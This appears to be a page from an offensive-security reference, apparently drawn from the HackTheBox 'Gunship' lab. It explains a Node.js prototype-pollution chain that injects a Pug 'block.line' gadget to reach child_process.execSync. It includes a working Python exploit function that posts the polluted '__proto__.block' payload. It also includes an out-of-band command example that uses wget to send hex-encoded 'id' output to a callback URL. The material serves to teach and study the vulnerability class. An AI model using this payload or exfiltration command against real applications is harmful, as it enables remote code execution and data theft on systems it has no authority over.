Skip to content

Pug

Prototype pollution to Pug block.line execSync

Pollutes block.line for a Pug rendering path that later evaluates the inherited value and reaches child_process.execSync().

JavaScript objects can inherit properties from a prototype object. When code reads a property that does not exist directly on an object, JavaScript continues the lookup through that object’s prototype chain.

Prototype pollution occurs when a request parser, recursive merge, or property-path setter permits attacker-controlled input to write through __proto__. The dotted key below represents a vulnerable parser that treats __proto__.block as a property path. Instead of creating an ordinary request property, it places block on the shared object prototype.

The later Pug rendering path reads an object without its own block property. JavaScript returns the inherited polluted object, and Pug reads its line property as JavaScript source during template compilation.

request key __proto__.block
-> vulnerable property-path assignment
-> block added to the shared object prototype
-> Pug object has no direct block property
-> JavaScript returns the inherited polluted block
-> Pug compiles block.line as JavaScript
-> execSync() executes the command

This chain requires both parts: a prototype-pollution source that accepts the dotted __proto__ path and a Pug rendering path that consumes the inherited block.line value as code. Pollution alone establishes control over an inherited property; the Pug behavior supplies the command-execution gadget.

def send_pollution(s, command):
    payload = {
        "<NORMAL_FIELD>": "<NORMAL_VALUE>",
        "__proto__.block": {
            "type": "Text",
            "line": f"process.mainModule.require('child_process').execSync(`{command}`)"
        }
    }
    r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", json=payload, verify=False, timeout=10, proxies=PROXIES)
    success = r.status_code == 200
    return success

process.mainModule refers to the CommonJS entry module on older Node.js versions. Its require() method returns the built-in child_process module, and execSync() waits for the command to finish. The polluted Pug line does not need to return stdout when the command sends its result through an out-of-band callback.

OOB command example

command = "wget -qO /dev/null <CALLBACK_URL>?data=$(id | xxd -p -c 9999)"
success = send_pollution(s, command)

Find by: prototype pollution, pug, nodejs, node, child_process, execSync, process.mainModule, require, proto, block line, oob command · Source: HTB/Gunship